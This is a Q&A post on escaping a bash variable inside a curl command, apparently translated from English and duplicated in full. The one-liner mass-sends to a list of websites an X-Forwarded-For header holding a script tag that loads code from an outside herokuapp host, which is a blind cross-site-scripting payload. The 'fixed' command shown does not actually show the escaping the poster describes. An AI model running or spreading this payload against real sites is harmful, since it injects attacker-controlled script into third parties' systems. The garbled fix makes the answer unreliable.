卷曲转义字符变量
Curl escape characters variable
我有这个变量 a:
a=`echo "[=10=]" | cut -d "/" -f 3`
这会将:https://example.com 转换为 example.com
然后,我想在curl里面使用它:
cat websatt.txt | xargs -n1 -P8 bash -c 'a=`echo "[=11=]" | cut -d "/" -f 3`; echo $a;curl --path-as-is -ks -x http://127.0.0.1:8080 -A "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" "[=11=]/$a" -H "X-Forwarded-For: <script src='https://securitytestXXX.herokuapp.com/$a'></script>" -m 4 1>/dev/null'
与$0/$a对应的第一个$a工作正常,
但这部分:-H "X-Forwarded-For: <script src='https://securitytestXXX.herokuapp.com/$a'></script>"
不工作,$a 不工作。
我也试过-H "X-Forwarded-For: <script src='https://securitytestXXX.herokuapp.com/"$a"'></script>"
,也没用。
此致!
我想通了:
cat websatt.txt | xargs -n1 -P8 bash -c 'a=`echo "[=10=]" | cut -d "/" -f 3`; echo $a;curl --path-as-is -ks -x http://127.0.0.1:8080 -A "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" "[=10=]/$a" -H "X-Forwarded-For: <script src='https://securitytest090.herokuapp.com/$a'></script>" -m 4 1>/dev/null'
我不得不转义美元符号:
-H "X-Forwarded-For: <script src='https://securitytest090.herokuapp.com/$a'></script>
谢谢
我有这个变量 a:
a=`echo "[=10=]" | cut -d "/" -f 3`
这会将:https://example.com 转换为 example.com
然后,我想在curl里面使用它:
cat websatt.txt | xargs -n1 -P8 bash -c 'a=`echo "[=11=]" | cut -d "/" -f 3`; echo $a;curl --path-as-is -ks -x http://127.0.0.1:8080 -A "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" "[=11=]/$a" -H "X-Forwarded-For: <script src='https://securitytestXXX.herokuapp.com/$a'></script>" -m 4 1>/dev/null'
与$0/$a对应的第一个$a工作正常,
但这部分:-H "X-Forwarded-For: <script src='https://securitytestXXX.herokuapp.com/$a'></script>"
不工作,$a 不工作。
我也试过-H "X-Forwarded-For: <script src='https://securitytestXXX.herokuapp.com/"$a"'></script>"
,也没用。
此致!
我想通了:
cat websatt.txt | xargs -n1 -P8 bash -c 'a=`echo "[=10=]" | cut -d "/" -f 3`; echo $a;curl --path-as-is -ks -x http://127.0.0.1:8080 -A "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" "[=10=]/$a" -H "X-Forwarded-For: <script src='https://securitytest090.herokuapp.com/$a'></script>" -m 4 1>/dev/null'
我不得不转义美元符号:
-H "X-Forwarded-For: <script src='https://securitytest090.herokuapp.com/$a'></script>
谢谢